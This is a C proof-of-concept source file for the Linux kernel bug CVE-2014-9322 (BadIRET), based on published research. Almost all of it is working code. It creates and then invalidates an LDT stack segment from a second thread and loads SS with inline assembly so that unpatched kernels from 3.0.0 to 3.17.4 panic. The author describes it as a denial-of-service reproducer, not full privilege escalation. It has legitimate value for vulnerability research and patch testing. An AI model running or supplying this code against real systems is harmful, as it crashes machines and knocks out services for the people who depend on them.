Linux CVE-2014-9322 Proof Of Concept

/* ----------------------------------------------------------------------------------------------------
 * cve-2014-9322_poc.c
 *
 * arch/x86/kernel/entry_64.S in the Linux kernel before 3.17.5 does not
 * properly handle faults associated with the Stack Segment (SS) segment
 * register, which allows local users to gain privileges by triggering an IRET
 * instruction that leads to access to a GS Base address from the wrong space.
 *
 * This is a POC to reproduce vulnerability. No exploitation here, just simple kernel panic.
 *
 * I have no merit to writing this poc, I just implemented first part of Rafal Wojtczuk article (this guy is a genius!)
 * More info at : http://labs.bromium.com/2015/02/02/exploiting-badiret-vulnerability-cve-2014-9322-linux-kernel-privilege-escalation/
 *
 *
 * Compile with gcc -fno-stack-protector -Wall -o cve-2014-9322_poc cve-2014-9322_poc.c  -lpthread
 *
 * Emeric Nasi - www.sevagas.com
 *-----------------------------------------------------------------------------------------------------*/
 
  // Only works on x86_64 platform
 #ifdef __x86_64__
 
/* -----------------------   Includes ----------------------------*/
#define _GNU_SOURCE
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
#include <string.h>
#include <unistd.h>
#include <fcntl.h>
#include <sys/syscall.h>
#include <sys/mman.h>
#include <asm/ldt.h>
#include <pthread.h>
#include <sys/time.h>
#include <inttypes.h>
#include <stdbool.h>
#include <errno.h>
#include <sys/user.h>

/* -----------------------   definitions ----------------------------*/

#define TARGET_KERNEL_MIN "3.0.0"
#define TARGET_KERNEL_MAX "3.17.4"
#define EXPLOIT_NAME "cve-2014-9322"
#define EXPLOIT_TYPE DOS

#define FALSE_SS_BASE 0x10000UL
#define MAP_SIZE  0x10000

/* -----------------------   Global variables ----------------------------*/

struct user_desc new_stack_segment;

/* -----------------------   functions ----------------------------*/

/**
 * Creates a new segment in Local Descriptor Table
 */
static bool add_ldt(struct user_desc *desc, const char *name)
{
 if (syscall(SYS_modify_ldt, 1, desc, sizeof(struct user_desc)) == 0)
 {
  return true;
 }
 else
 {
  printf("[cve_2014_9322 error]: Failed to create %s segment\n", name);
  printf("modify_ldt failed, %s\n", strerror(errno));
  return false;
 }
}

int FLAG = 0;

void * segManipulatorThread(void * none)
{
 new_stack_segment.entry_number    = 0x12;
 new_stack_segment.base_addr       = 0x10000;
 new_stack_segment.limit           = 0xffff;
 new_stack_segment.seg_32bit       = 1;
 new_stack_segment.contents        = MODIFY_LDT_CONTENTS_STACK; /* Data, grow-up */
 new_stack_segment.read_exec_only  = 0;
 new_stack_segment.limit_in_pages  = 0;
 new_stack_segment.seg_not_present = 0;
 new_stack_segment.useable         = 0;
 new_stack_segment.lm = 0;
 
 // Create a new stack segment
 add_ldt(&new_stack_segment, "newSS");
 
 // Wait for main thread to use new stack segment
 sleep(3); 

 // Invalidate stack segment
 new_stack_segment.seg_not_present = 1;
 add_ldt(&new_stack_segment, "newSS disable");
 FLAG = 1;
 sleep(15);
 
 return NULL;
}

/**
 * DOS poc for cve_2014_9322 vulnerability
 */
int main()
{

 pthread_t thread1;
 uint8_t *code;
 
 printf("[cve_2014_9322]: Preparing to exploit.\n");
 
 // map area for false SS
 code = (uint8_t *)mmap((void *)FALSE_SS_BASE, MAP_SIZE, PROT_READ|PROT_WRITE, MAP_FIXED|MAP_ANON|MAP_PRIVATE, -1, 0);
 if (code != (uint8_t *) FALSE_SS_BASE)
 {
  fprintf(stderr, "[cve_2014_9322 Error]: Unable to map memory at address: %lu\n", FALSE_SS_BASE);
  return -1;
 }
  
    printf("[cve_2014_9322]:  Panic!\n");
 if(pthread_create(&thread1, NULL, segManipulatorThread, NULL)!= 0)
 {
  perror("[cve_2014_9322 error]: pthread_create");
  return false; 
 }
 
 // Wait for segManipulatorThread to create new stack segment
 sleep(1);

    // Set  stack segment to newly created one in segManipulatorThread
 asm volatile ("mov %0, %%ss;"
  :       
  :"r" (0x97)
 );
 
 while(FLAG == 0){};
 sleep(4);

 return 0;
}

#endif // __x86_64__